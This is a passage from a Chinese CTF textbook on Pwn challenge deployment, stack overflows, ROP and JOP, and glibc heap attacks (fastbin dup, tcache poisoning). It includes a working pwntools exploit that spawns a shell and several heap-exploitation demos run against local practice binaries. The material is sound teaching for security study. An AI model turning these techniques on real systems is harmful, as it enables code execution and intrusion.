Linux 68a2e4a54e74 4.15.0-47-generic #50~16.04.1-Ubuntu SMP Fri Mar 15 16:06:21
UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
$ # Ctrl+P+Q 即可退出控制台，容器保持后台运行
$ # 列出正在运行的容器
第 5 章
分析环境搭建 ┃ XXXVIII
$ docker container ls
CONTAINER ID
IMAGE
COMMAND
CREATED
STATUS
PORTS
NAMES
68a2e4a54e74
ubuntu
"bash"
7 minutes ago
Up 7 minutes
objective_tharp
$ # 停止和删除容器
$ docker container stop 68a2e4a54e74
$ docker container rm 68a2e4a54e74
5.2.3
Pwn 题目部署
在本地部署 Pwn 题目，通常使用 socat 就可以满足需求，端口号为 10001。
$ socat tcp4-listen:10001,reuseaddr,fork exec:./pwnable &
但如果是办一个比赛需要同时连接大量用户，可能会导致服务器资源紧张，且权限隔离也存在
问题。因此，我们选择使用 Docker 和 ctf_xinetd 来进行部署，先复制（clone）该项目。
$ git clone https://github.com/Eadom/ctf_xinetd.git
$ cd ctf_xinetd/ && cat ctf.xinetd
service ctf
{
disable = no
socket_type = stream
protocol
= tcp
wait
= no
user
= root
type
= UNLISTED
port
= 9999
bind
= 0.0.0.0
server
= /usr/sbin/chroot
# replace helloworld to your program
server_args = --userspec=1000:1000 /home/ctf ./helloworld
banner_fail = /etc/banner_fail
# safety options
per_source
= 10 # the maximum instances of this service per source IP address
rlimit_cpu
= 20 # the maximum number of CPU seconds that the service may use
#rlimit_as
= 1024M # the Address Space resource limit for the service
#access_times = 2:00-9:00 12:00-24:00
}
首先，将 Pwn 的二进制文件放到 bin 目录下，并修改 flag 为该题目的 flag 字符串。然后修改配
置文件 ctf.xinetd，比较重要的是端口 port 和参数 server_args，修改 helloworld 为二进制文件名。然
后用 build 命令创建镜像。
$ docker build -t "helloworld" .
$ docker image ls
REPOSITORY
TAG
IMAGE ID
CREATED
SIZE
helloworld
latest
3da30d9c1322
4 minutes ago
369MB
ubuntu
16.04
9361ce633ff1
5 weeks ago
118MB
启动容器，命令中的三个 helloworld 分别代表 host name、container name 和 image name。此时，
第 5 章
分析环境搭建 ┃ XXXIX
用户就可以通过开放端口 10001 连接到该题目。
$ docker run -d -p "0.0.0.0:10001:9999" -h "helloworld" --name="helloworld"
helloworld
$ docker ps
CONTAINER ID
IMAGE
COMMAND
CREATED
STATUS
PORTS
NAMES
b3934c16c6ac
helloworld
"/start.sh"
2 minutes ago
Up 2 minutes
0.0.0.0:10001->9999/tcp
helloworld
另外，运维人员如果想抓取该 Pwn 题运行时的网络流量便于复查和监控作弊，可以在该服务器
上使用 tcpdump 抓取，例如：
$ tcpdump -w pwn1.pcap -i eth0 port 10001
参考资料
[1]
Docker Documentation[Z/OL].
[2]
QEMU documentation[Z/OL].
[3]
matrix1001. 关于不同版本 glibc 强行加载的方法[EB/OL]. (2018-06-11).
第 10 章
栈溢出与 ROP ┃ XL
第 10 章
栈溢出与 ROP
10.1
栈溢出原理
由于 C 语言对数组引用不做任何边界检查，从而导致缓冲区溢出（buffer overflow）成为一种很
常见的漏洞。根据溢出发生的内存位置，通常可以分为栈溢出和堆溢出。其中，由于栈上保存着局
部变量和一些状态信息（寄存器值、返回地址等），一旦发生严重的溢出，攻击者就可以通过覆写
返回地址来执行任意代码，利用方法包括 shellcode 注入、ret2libc、ROP 等。同时，防守方也发展出
多种利用缓解机制，在本书第 4 章已经做了深入的讲解。
10.1.1
函数调用栈
函数调用栈是一块连续的用来保存函数运行状态的内存区域，调用函数（caller）和被调用函数
（callee）根据调用关系堆叠起来，从内存的高地址向低地址增长。这个过程主要涉及 eip、esp 和 ebp
三个寄存器：eip 用于存储即将执行的指令地址；esp 用于存储栈顶地址，随着数据的压栈和出栈而
变化；ebp 用于存储栈基址，并参与栈内数据的寻址。
我们通过一个简单的程序来对 x86 和 x86-64 的调用栈进行讲解。内存布局如图 10-1 所示。
int func(int arg1, int arg2, int arg3, int arg4,
int arg5, int arg6, int arg7, int arg8) {
int loc1 = arg1 + 1;
int loc8 = arg8 + 8;
return loc1 + loc8;
}
int main() {
return func(11, 22, 33, 44, 55, 66, 77, 88);
}
// gcc -m32 stack.c -o stack32
// gcc stack.c -o stack64
第 10 章
栈溢出与 ROP ┃ XLI
图 10-1
x86 和 x86-64 的调用栈
先来看 x86 的情况，每一条汇编指令都已经做了详细的注释。
gef➤
disassemble main
0x080483fd <+0>: push
ebp
# 将栈底 ebp 压栈 (esp -= 4)
0x080483fe <+1>: mov
ebp,esp
# 更新 ebp 为当前栈顶 esp
0x08048400 <+3>: push
0x58
# 将 arg8 压栈 (esp -= 4)
0x08048402 <+5>: push
0x4d
# 将 arg7 压栈 (esp -= 4)
0x08048404 <+7>: push
0x42
# 将 arg6 压栈 (esp -= 4)
0x08048406 <+9>: push
0x37
# 将 arg5 压栈 (esp -= 4)
0x08048408 <+11>:push
0x2c
# 将 arg4 压栈 (esp -= 4)
0x0804840a <+13>:push
0x21
# 将 arg3 压栈 (esp -= 4)
0x0804840c <+15>:push
0x16
# 将 arg2 压栈 (esp -= 4)
0x0804840e <+17>:push
0xb
# 将 arg1 压栈 (esp -= 4)
0x08048410 <+19>: call
0x80483db <func>
# 调用 func (push 0x08048415)
0x08048415 <+24>:add
esp,0x20
# 恢复栈顶 esp
0x08048418 <+27>:leave
# (mov esp, ebp; pop ebp)
0x08048419 <+28>:ret
# 函数返回 (pop eip)
gef➤
disassemble func
0x080483db <+0>: push
ebp
# 将栈底 ebp 压栈 (esp -= 4)
0x080483dc <+1>: mov
ebp,esp
# 更新 ebp 为当前栈顶 esp
0x080483de <+3>: sub
esp,0x10
# 为局部变量开辟栈空间
0x080483e1 <+6>: mov
eax,DWORD PTR [ebp+0x8]
# 取出 arg1
0x080483e4 <+9>: add
eax,0x1
# 计算 loc1
0x080483e7 <+12>:mov
DWORD PTR [ebp-0x8],eax
# loc1 放入栈
0x080483ea <+15>:mov
eax,DWORD PTR [ebp+0x24]
# 取出 arg8
0x080483ed <+18>:add
eax,0x8
# 计算 loc8
0x080483f0 <+21>:mov
DWORD PTR [ebp-0x4],eax
# loc8 放入栈
0x080483f3 <+24>:mov
edx,DWORD PTR [ebp-0x8]
0x080483f6 <+27>:mov
eax,DWORD PTR [ebp-0x4]
0x080483f9 <+30>:add
eax,edx
# 计算返回值
0x080483fb <+32>:leave
# (mov esp, ebp; pop ebp)
0x080483fc <+33>:ret
# 函数返回 (pop eip)
第 10 章
栈溢出与 ROP ┃ XLII
首先，被调用函数 func()的 8 个参数从后向前依次入栈，当执行 call 指令时，下一条指令的地址
0x08048415 作为返回地址入栈。然后程序跳转到 func()，在函数开头，将调用函数的 ebp 压栈保存
并更新为当前的栈顶地址 esp，作为新的栈基址，而 esp 则下移为局部变量开辟空间。函数返回时则
相反，通过 leave 指令将 esp 恢复为当前的 ebp，并从栈中将调用者的 ebp 弹出，最后 ret 指令弹出返
回地址作为 eip，程序回到 main()函数中，最后抬高 esp 清理被调用者的参数，一次函数调用的过程
就结束了。
gef➤
disassemble main
0x000000000040050a <+0>:
push
rbp
# 将栈底 rbp 压栈 (rsp -= 8)
0x000000000040050b <+1>:
mov
rbp,rsp
# 更新 rbp 为当前栈顶 rsp
0x000000000040050e <+4>:
push
0x58
# 将 arg8 压栈 (rsp -= 8)
0x0000000000400510 <+6>:
push
0x4d
# 将 arg7 压栈 (rsp -= 8)
0x0000000000400512 <+8>:
mov
r9d,0x42
# 将 arg6 赋值给 r9
0x0000000000400518 <+14>: mov
r8d,0x37
# 将 arg5 赋值给 r8
0x000000000040051e <+20>: mov
ecx,0x2c
# 将 arg4 赋值给 rcx
0x0000000000400523 <+25>: mov
edx,0x21
# 将 arg3 赋值给 rdx
0x0000000000400528 <+30>: mov
esi,0x16
# 将 arg2 赋值给 rsi
0x000000000040052d <+35>: mov
edi,0xb
# 将 arg1 赋值给 rdi
0x0000000000400532 <+40>: call 0x4004d6 <func>
# 调用 func (push 0x400537)
0x0000000000400537 <+45>: add
rsp,0x10
# 恢复栈顶 rsp
0x000000000040053b <+49>: leave
# (mov rsp, rbp; pop rbp)
0x000000000040053c <+50>: ret
# 函数返回 (pop rip)
gef➤
disassemble func
0x00000000004004d6 <+0>:
push
rbp
# 将栈底 rbp 压栈 (rsp -= 8)
0x00000000004004d7 <+1>:
mov
rbp,rsp
# 更新 rbp 为当前栈顶 rsp
0x00000000004004da <+4>:
mov
DWORD PTR [rbp-0x14],edi
0x00000000004004dd <+7>:
mov
DWORD PTR [rbp-0x18],esi
0x00000000004004e0 <+10>: mov
DWORD PTR [rbp-0x1c],edx
0x00000000004004e3 <+13>: mov
DWORD PTR [rbp-0x20],ecx
0x00000000004004e6 <+16>: mov
DWORD PTR [rbp-0x24],r8d
0x00000000004004ea <+20>: mov
DWORD PTR [rbp-0x28],r9d
0x00000000004004ee <+24>: mov
eax,DWORD PTR [rbp-0x14]
0x00000000004004f1 <+27>: add
eax,0x1
0x00000000004004f4 <+30>: mov
DWORD PTR [rbp-0x8],eax
0x00000000004004f7 <+33>: mov
eax,DWORD PTR [rbp+0x18]
0x00000000004004fa <+36>: add
eax,0x8
0x00000000004004fd <+39>: mov
DWORD PTR [rbp-0x4],eax
0x0000000000400500 <+42>: mov
edx,DWORD PTR [rbp-0x8]
0x0000000000400503 <+45>: mov
eax,DWORD PTR [rbp-0x4]
0x0000000000400506 <+48>: add
eax,edx
# 计算返回值
0x0000000000400508 <+50>: pop
rbp
# 恢复 rbp (rsp += 8)
0x0000000000400509 <+51>: ret
# 函数返回 (pop rip)
对于 x86-64 的程序，前 6 个参数分别通过 rdi、rsi、rdx、rcx、r8 和 r9 进行传递，剩余参数才像
x86 一样从后向前依次压栈。除此之外，我们还发现 func()没有下移 rsp 开辟栈空间的操作，导致 rbp
和 rsp 的值是相同的，其实这是一项编译优化：根据 AMD64 ABI 文档的描述，rsp 以下 128 字节的
区域被称为 red zone，这是一块被保留的内存，不会被信号或者中断所修改。于是，func()作为叶子
第 10 章
栈溢出与 ROP ┃ XLIII
函数就可以在不调整栈指针的情况下，使用这块内存保存临时数据。
在更极端的优化下，rbp 作为栈基址其实也是可以省略的，编译器完全可以使用 rsp 来代替，从
而减少指令数量。GCC 编译时添加参数“-fomit-frame-pointer”即可。
10.1.2
危险函数
大多数缓冲区溢出问题都是错误地使用了一些危险函数所导致的。第一类危险函数是 scanf、gets
等输入读取函数。下面的语句将用户输入读到 buf 中。其中，第一条 scanf 的格式字符串"%s"并未限
制读取长度，明显存在栈溢出的风险；第二条 scanf 使用"%ns"的形式限制了长度为 10，看似没有问
题，但由于 scanf()函数会在字符串末尾自动添加一个“\0”，如果输入刚好 10 个字符，那么“\0”
就会溢出。所以最安全的做法应该是第三条 scanf，既考虑了缓冲区大小，又考虑了函数特性。
char buf[10];
scanf("%s", buf);
scanf("%10s", buf);
scanf("%9s", buf);
第二类危险函数是 strcpy、strcat、sprintf 等字符串拷贝函数。考虑下面的语句，read()函数读取
用户输入到 srcbuf，这里很好地限制了长度。接下来 strcpy()把 srcbuf 拷贝到 destbuf，此时由于 destbuf
的最大长度只有 10，小于 srcbuf 的最大长度 20，显然是有可能造成溢出的。对于这种情况，建议使
用对应的安全函数 strncpy、strncat、snprintf 等来代替，这些函数都有一个 size 参数用于限制长度。
int len;
char srcbuf[20];
char destbuf[10];
len = read(0, srcbuf, 19);
src[len] = 0;
strcpy(destbuf, srcbuf);
10.1.3
ret2libc
本节我们先讲解 shellcode 注入和 re2libc 两种比较简单的利用方式。
我们知道，栈溢出的主要目的就是覆写函数的返回地址，从而劫持控制流，在没有 NX 保护机
制的时候，在栈溢出的同时就可以将 shellcode 注入栈上并执行，如图 10-2 所示。padding1 使用任意
数据即可，比如“AAAA...”，一直覆盖到调用者的 ebp。然后在返回地址处填充上 shellcode 的地址，
当函数返回时，就会跳到 shellcode 的位置。padding2 也可以使用任意数据，但如果开启了 ASLR，
使 shellcode 的地址不太确定，那么就可以使用 NOP sled（“\x90\x90...”）作为一段滑板指令，当程
序跳到这段指令时就会一直滑到 shellcode 执行。
第 10 章
栈溢出与 ROP ┃ XLIV
图 10-2
ret2shellcode 示例
开 启 NX 后 ， 栈 上 的 shellcode 不 可 执 行 ， 这 时 就 需 要 使 用 ret2libc 来 调 用 libc.so 中 的
system("/bin/sh")，如图 10-3 所示。这一次返回地址被覆盖上 system()函数的地址，padding2 为其添
加一个伪造的返回地址，长度为 4 字节。紧接着放上"bin/sh"字符串的地址，作为 system()函数的参
数。如果开启了 ASLR，那么 system()和"/bin/sh"的地址就变成随机的，此时需要先做内存泄露，再
填充真实地址。
图 10-3
ret2libc 示例
这两种技术的示例请见 4.3 节，开启 ASLR 的例子参见 4.4 节。
10.2
返回导向编程
10.2.1
ROP 简介
最开始，要利用栈溢出只需将返回地址覆盖为 jmp esp 指令的地址，并在后面添加 shellcode 就
可以执行。后来引入了 NX 缓解机制，数据所在的内存页被标记为不可执行，此时再执行 shellcode
第 10 章
栈溢出与 ROP ┃ XLV
就会抛出异常。既然注入新代码不可行，那么就复用程序中已有的代码。libc.so 几乎在每个程序执
行时都会加载，攻击者就开始考虑利用 libc 中的函数，这种技术就是 ret2libc，我们在上一节已经讲
过。但是这种技术也有缺陷，首先，虽然攻击者可以一个接一个地调用 libc 中的函数，但这个执行
流仍然是线性的，而不像代码注入那样任意执行，其次，攻击者只能使用程序 text 段和 libc 中已有
的函数，通过移除这些特定的函数就可以限制此类攻击。
论文 The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the
x86)提出了一种新的攻击技术——返回导向编程（Return-Oriented Programming, ROP），无须调用任
何函数即可执行任意代码。
使用 ROP 攻击，首先需要扫描文件，提取出可用的 gadget 片段（通常以 ret 指令结尾），然后
将这些 gadget 根据所需要的功能进行组合，达到攻击者的目的。举个小例子，exit(0)的 shellcode 由
下面 4 条连续的指令组成。
; exit(0) shellcode
xor eax, eax
xor ebx, ebx
inc eax
int 0x80
如果要将它改写成 ROP 链，则需要分别找到包含这些指令的 gadget，由于它们在地址上不一定
是连续的，所以需要通过 ret 指令进行连接，依次执行。
; exit(0) ROP chain
xor eax, eax
; gadget 1
ret
xor ebx, ebx
; gadget 2
ret
inc eax
; gadget 3
ret
int 0x80
; gadget 4
为了完成指令序列的构建，首先需要找到这些以 ret 指令结尾，并且在执行时必然以 ret 结束，
而不会跳到其他地方的 gadget，算法如图 10-4 所示。
图 10-4
gadget 搜索算法
第 10 章
栈溢出与 ROP ┃ XLVI
即扫描二进制找到 ret（c3）指令，将其作为 trie 的根节点，然后回溯解析前面的指令，如果是
有效指令，将其添加为子节点，再判断是否 boring；如果不是，就继续递归回溯。举个例子，在一
个 trie 中一个表示 pop %eax 的节点是表示 ret 的根节点的子节点，则这个 gadget 为 pop %eax; ret。
如此就能把有用的 gadgets 都找出来了。boring 指令则分为三种情况：
（1）该指令是 leave，后跟一个 ret 指令；
（2）该指令是一个 pop %ebp，后跟一个 ret 指令；
（3）该指令是返回或者非条件跳转。
实际上，有很多工具可以帮助我们完成 gadget 搜索的工作，常用的有 ROPgadget、Ropper 等，
还可以直接在 ropshell 网站上搜索。
gadgets 在多个体系架构上都是图灵完备的，允许任意复杂度的计算，也就是说基本上只要能想
到的事情它都可以做。下面简单介绍几种用法。
（1）保存栈数据到寄存器。弹出栈顶数据到寄存器中，然后跳转到新的栈顶地址。所以当返回
地址被一个 gadget 的地址覆盖，程序将在返回后执行该指令序列。例如：pop eax; ret；
（2）保存内存数据到寄存器。例如：mov ecx,[eax]; ret；
（3）保存寄存器数据到内存。例如：mov [eax],ecx; ret；
（4）算数和逻辑运算。add、sub、mul、xor 等。例如：add eax,ebx; ret, xor edx,edx; ret；
（5）系统调用。执行内核中断。例如：int 0x80; ret, call gs:[0x10]; ret；
（6）会影响栈帧的 gadget。这些 gadget 会改变 ebp 的值，从而影响栈帧，在一些操作如 stack
pivot 时我们需要这样的指令来转移栈帧。例如：leave; ret, pop ebp; ret。
10.2.2
ROP 的变种
论文 Return-Oriented Programming without Returns 中指出，正常程序的指令流执行和 ROP 的指
令流有很大不同，至少存两点：第一，ROP 执行流会包含很多 ret 指令，而且这些 ret 指令可能只间
隔了几条其他指令；第二，ROP 利用 ret 指令来 unwind 堆栈，却没有与 ret 指令相对应的 call 指令。
针对上面两点不同，研究人员随后提出了多种 ROP 检测和防御技术，例如：针对第一点，可以
检测程序执行中是否有频繁 ret 的指令流，作为报警的依据；针对第二点，可以通过 call 和 ret 指令
的配对情况来判断异常。或者维护一个影子栈（shadow stack）作为正常栈的备份，每次 ret 的时候
就与正常栈对比一下；还有更极端的，直接在编译器层面重写二进制文件，消除里面的 ret 指令。
这些早期的防御技术其实都默认了一个前提，即 ROP 中必定存在 ret 指令。那么反过来想，如
果攻击者能够找到既不使用 ret 指令，又能改变执行流的 ROP 链，就能成功绕过这些防御。于是，
就诞生了不依赖于 ret 指令的 ROP 变种。
我们知道 ret 指令的作用主要有两个：一个是通过间接跳转改变执行流，另一个是更新寄存器状
第 10 章
栈溢出与 ROP ┃ XLVII
态。在 x86 和 ARM 中都存在一些指令序列，也能够完成这些工作，它们首先更新全局状态（如栈
指针），然后根据更新后的状态加载下一条指令的地址，并跳转过去执行。我们把这样的指令序列
叫作 update-load-branch，使用它们来避免 ret 指令的使用。由于 update-load-branch 相比 ret 指令更加
稀少，所以通常作为跳板（trampoline）来重复利用。当一个 gadget 执行结束后，跳转到 trampoline，
trampoline 更新程序状态后把控制权交到下一个 gadget，由此形成 ROP 链。如图 10-5 所示。
图 10-5
不依赖 ret 指令的 ROP
由于这些 gadgets 都以 jmp 指令作为结尾，我们就称之为 JOP（Jump-Oriented Programming），
考虑下面的 gadget：
pop %eax; jmp *%eax
它的行为和 ret 很像，唯一的副作用是覆盖了 eax 寄存器，假如程序执行不依赖于 eax，那么这
一段指令就可以取代 ret。当然，eax 可以被换成任意一个通用寄存器，而且比起单间接跳转，我们
通常更愿意使用双重间接跳转：
pop %eax; jmp *(%eax)
此时，eax 存放的是一个被称为 sequence catalog 表的地址，该表用于存放各种指令序列的地址，
也就是一个类似于 GOT 表的东西。所谓双间接跳转，就是先从上一段指令序列跳到 catalog 表，然
后从 catalog 表跳到下一段指令序列。这样做使得 ROP 链的构造更加便捷，甚至可以根据偏移来实
现跳转。如图 10-6 所示。
图 10-6
JOP 示例
第 10 章
栈溢出与 ROP ┃ XLVIII
另一篇论文 Jump-Oriented Programming: A New Class of Code-Reuse Attack 几乎同时提出了这种
基于 jmp 指令的攻击方法。除此之外，ROP 的变种还包括 string-oriented programming(SOP)、
sigreturn-oriented programming(SROP) 、 data-oriented programming(DOP) 、 crash-resistant oriented
programming(CROP)和 printf programming。
10.2.3
示例
ROP 的 payload 由一段触发栈溢出的 padding 和各条 gadget 及其参数组成，这些参数通常用于
pop 指令，来设置寄存器的值。当函数返回时，将执行第一条 gadget 1，直到遇到 ret 指令，再跳转
到 gadget 2 继续执行，以此类推。内存布局如图 10-7 所示。
图 10-7
ROP 的内存布局示例
将下面的示例代码编译成带 PIE 的 64 位程序。由于 64 位程序在传递前几个参数时使用了寄存
器，而不是栈，所以就需要攻击者找到一些 gadgets 用于设置寄存器的值。在这里就是“pop rdi; ret”，
用于将“/bin/sh”的地址存到 rdi 寄存器。
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
void vuln_func() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char *argv[]) {
void *handle = dlopen("libc.so.6", RTLD_NOW | RTLD_GLOBAL);
printf("%p\n", dlsym(handle, "system"));
vuln_func();
write(STDOUT_FILENO, "Hello world!\n", 13);
}
$ gcc -fno-stack-protector -z noexecstack -pie -fpie rop.c -ldl -o rop64
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc-2.23.so --only "pop|ret" | grep rdi
第 10 章
栈溢出与 ROP ┃ XLIX
0x0000000000021102 : pop rdi ; ret
方便起见，程序直接打印了 system 函数的地址，来模拟信息泄露。完整的利用代码如下所示。
from pwn import *
io = process('./rop64')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
system_addr = int(io.recvline(), 16)
libc_addr = system_addr - libc.sym['system']
binsh_addr = libc_addr + next(libc.search('/bin/sh'))
pop_rdi_addr = libc_addr + 0x0000000000021102
payload = "A"*136 + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr)
io.send(payload)
io.interactive()
第 11 章
堆利用 ┃ L
第 11 章
堆利用
11.3
fastbin 二次释放
由于 fastbin 采用单链表结构（通过 fd 指针进行链接），且当 chunk 释放时，不会清空 next_chunk
的 prev_inuse，再加上一些检查机制上的不完善，使得 fastbin 比较脆弱。针对它的攻击方法包括二
次释放、修改 fd 指针并申请（或释放）任意位置的 chunk（或 fake chunk）等，条件是存在堆溢出或
者其他漏洞可以控制 chunk 的内容。
11.3.1
fastbin dup
fastbin chunk 可以很轻松地绕过检查多次释放，当这些 chunk 被重新分配出来时，就会导致多个
指针指向同一个 chunk。
fastbin 对二次释放的检查机制仅仅验证了当前块是否与链表头部的块相同，而对链表中其他的
块则没有做验证。另外，在释放时还有对当前块的 size 域与头部块的 size 域是否相等的检查，由于
我们释放的是同一个块，也就不存在该问题，如下所示。
mchunkptr old = *fb, old2;
unsigned int old_idx = ~0u;
do {
/* Check that the top of the bin is not the record we are going to add
(i.e., double free).
*/
if (__builtin_expect (old == p, 0)) {
errstr = "double free or corruption (fasttop)";
goto errout;
}
if (have_lock && old != NULL)
old_idx = fastbin_index(chunksize(old));
p->fd = old2 = old;
}
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);
第 11 章
堆利用 ┃ LI
if (have_lock && old != NULL && __builtin_expect (old_idx != idx, 0)) {
errstr = "invalid fastbin entry (free)";
goto errout;
}
下面来看一个例子，在两次调用 free(a)之间，插入其他的释放操作，即可绕过检查。
#include <stdio.h>
#include <stdlib.h>
int main() {
/* fastbin double-free */
int *a = malloc(8);
// malloc 3 buffers
int *b = malloc(8);
int *c = malloc(8);
fprintf(stderr, "malloc a: %p\n", a);
fprintf(stderr, "malloc b: %p\n", b);
fprintf(stderr, "malloc c: %p\n", c);
free(a);
// free the first one
free(b);
// free the other one
free(a);
// free the first one again
fprintf(stderr, "free a => free b => free a\n");
int *d = malloc(8);
// malloc 3 buffers again
int *e = malloc(8);
int *f = malloc(8);
fprintf(stderr, "malloc d: %p\n", d);
fprintf(stderr, "malloc e: %p\n", e);
fprintf(stderr, "malloc f: %p\n", f);
for(int i=0; i<10; i++) {
// loop malloc
fprintf(stderr, "%p\n", malloc(8));
}
/* fastbin dup into stack */
unsigned int stack_var = 0x21;
fprintf(stderr, "\nstack_var: %p\n", &stack_var);
unsigned long long *g = malloc(8);
*g = (unsigned long long) (((char*)&stack_var) - sizeof(g));
//overwrite fd
fprintf(stderr, "malloc g: %p\n", g);
int *h = malloc(8);
int *i = malloc(8);
int *j = malloc(8);
fprintf(stderr, "malloc h: %p\n", h);
fprintf(stderr, "malloc i: %p\n", i);
fprintf(stderr, "malloc j: %p\n", j);
}
$ gcc -g fastbin_dup.c -o fastbin_dup
第 11 章
堆利用 ┃ LII
$ ./fastbin_dup
malloc a: 0x186c010
malloc b: 0x186c030
malloc c: 0x186c050
free a => free b => free a
malloc d: 0x186c010
malloc e: 0x186c030
malloc f: 0x186c010
0x186c030
0x186c010
...
stack_var: 0x7ffe9a4da1b0
malloc g: 0x186c030
malloc h: 0x186c010
malloc i: 0x186c030
malloc j: 0x7ffe9a4da1b8
先看程序的前半部分（标记为“fastbin double-free”），释放后的 fastbins 如下所示。
gef➤
p main_arena.fastbinsY
$1 = {0x602000, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
gef➤
x/16gx 0x602000
0x602000:
0x0000000000000000
0x0000000000000021
<- chunk_a [double-free]
0x602010:
0x0000000000602020
0x0000000000000000
<- fd
0x602020:
0x0000000000000000
0x0000000000000021
<- chunk_b [free]
0x602030:
0x0000000000602000
0x0000000000000000
<- fd
0x602040:
0x0000000000000000
0x0000000000000021
<- chunk_c
0x602050:
0x0000000000000000
0x0000000000000000
0x602060:
0x0000000000000000
0x0000000000020fa1
<- top chunk
gef➤
heap bins fast
Fastbins[idx=0, size=0x10]
←
Chunk(addr=0x602010, size=0x20,
flags=PREV_INUSE)
←
Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE)
←
Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
→
[loop detected]
接下来调用 3 个 malloc()函数，依次从 fastbin 中取出 chunk_a、chunk_b 和 chunk_a。事实上，
由于 chunk_a 和 chunk_b 已经形成了循环，我们几乎可以无限次地调用 malloc()函数，如图 11-10 所
示。
第 11 章
堆利用 ┃ LIII
图 11-10
二次释放后的链表
那么如果我们不希望一直循环地调用 malloc()函数，应该怎么做呢？答案是修改 fd 指针。来看
程序的后半部分（标记为“fastbin dup into stack”）。假设能够在栈上随意写入（本例中 stack_var
被赋值为 0x21，作为 fake chunk 的 size），且可以修改 chunk 的内容，那么就可以利用二次释放获
取 chunk，修改其 fd 指针指向任意伪造的 chunk（任意可写内存，stack、bss、heap 等），并在随后
的 malloc()调用中将伪造的 chunk 变成真实的 chunk。如图 11-11 所示。
gef➤
p main_arena.fastbinsY
$2 = {0x602000, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
gef➤
x/16gx 0x602000
0x602000:
0x0000000000000000
0x0000000000000021
<- chunk_h
0x602010:
0x0000000000602020
0x0000000000000000
0x602020:
0x0000000000000000
0x0000000000000021
<- chunk_g, chunk_i
0x602030:
0x00007fffffffdad8
0x0000000000000000
<- fd
0x602040:
0x0000000000000000
0x0000000000000021
0x602050:
0x0000000000000000
0x0000000000000000
0x602060:
0x0000000000000000
0x0000000000020fa1
gef➤
x/4gx 0x00007fffffffdad8
0x7fffffffdad8: 0x000000000040089b
0x0000000a00000021
<- fake chunk, chunk_j
0x7fffffffdae8: 0x0000000000602010
0x0000000000602030
gef➤
heap bins fast
Fastbins[idx=0, size=0x10]
←
Chunk(addr=0x602010, size=0x20,
flags=PREV_INUSE)
←
Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE)
←
Chunk(addr=0x7fffffffdae8, size=0x20, flags=PREV_INUSE)
←
Chunk(addr=0x602020,
size=0x0, flags=) [incorrect fastbin_index]
第 11 章
堆利用 ┃ LIV
图 11-11
二次释放并修改 fd 指针后的链表
最后再解释一下 fake chunk 的 size 域设置为 0x21 的原因。当我们修改了 chunk_g 的 fd，使其指
向 fake chunk 时，就相当于 fake chunk 作为 free chunk 被链接进了 fastbin，那么在执行 malloc()函数
时，就需要接受检查，即该 chunk 的 size 大小是否与其所在的 fastbin 相匹配，检查过程如下所示。
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())) {
idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp = *fb;
do {
victim = pp;
if (victim == NULL)
break;
}
while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))
!= victim);
if (victim != 0) {
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0)) {
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
check_remalloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
fastbin_index()的计算方式如下所示。
/* offset 2 to use otherwise unindexable first 2 bins */
第 11 章
堆利用 ┃ LV
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
最后，我们来看 libc-2.26，由于新添加的 tcache 机制不会检查二次释放，因此不必考虑如何绕
过的问题，直接释放两次即可，fastbin dup 变得更加简单，甚至还不局限于 fastbin 大小的 chunk，我
们称之为 tcache dup。下面是一个示例程序。
#include <stdlib.h>
#include <stdio.h>
int main() {
void *p1 = malloc(0x10);
fprintf(stderr, "1st malloc(0x10): %p\n", p1);
fprintf(stderr, "free the chunk twice\n");
free(p1);
free(p1);
fprintf(stderr, "2nd malloc(0x10): %p\n", malloc(0x10));
fprintf(stderr, "3rd malloc(0x10): %p\n", malloc(0x10));
}
$ gcc -L/usr/local/glibc-2.26/lib -Wl,--rpath=/usr/local/glibc-2.26/lib
-Wl,-I/usr/local/glibc-2.26/lib/ld-2.26.so -g tcache_dup.c -o tcache_dup
$ ./tcache_dup
1st malloc(0x10): 0x2164260
free the chunk twice
2nd malloc(0x10): 0x2164260
3rd malloc(0x10): 0x2164260
同样地，fastbin dup into stack 攻击也可以对应到 tcache dup into stack 攻击，或者称为 tcache
poisoning。其方法是修改 tcache bin 中 chunk 的 fd 指针为目标位置，也就是改变 tcache_entry 的 next
指针，在调用 malloc()时即可在目标位置得到 chunk。对此，tcache_get()函数没有做任何的检查。示
例程序如下。
#include <stdio.h>
#include <stdlib.h>
int main() {
int64_t *p1, *p2, *p3, target[10];
printf("target stack: %p\n", target);
p1 = malloc(0x30);
fprintf(stderr, "p1 malloc(0x30): %p\n", p1);
free(p1);
*p1 = (int64_t)target;
fprintf(stderr, "free(p1) and overwrite the next ptr\n");
p2 = malloc(0x30);
p3 = malloc(0x30);
fprintf(stderr, "p2 malloc(0x30): %p\np3 malloc(0x30): %p\n", p2, p3);
}
$ gcc -L/usr/local/glibc-2.26/lib -Wl,--rpath=/usr/local/glibc-2.26/lib
-Wl,-I/usr/local/glibc-2.26/lib/ld-2.26.so -g tcache_poisoning.c -o
第 11 章
堆利用 ┃ LVI
tcache_poisoning
$ ./tcache_poisoning
target stack: 0x7ffc324602a0
p1 malloc(0x30): 0x2593670
free(p1) and overwrite the next ptr
p2 malloc(0x30): 0x2593670
p3 malloc(0x30): 0x7ffc324602a0
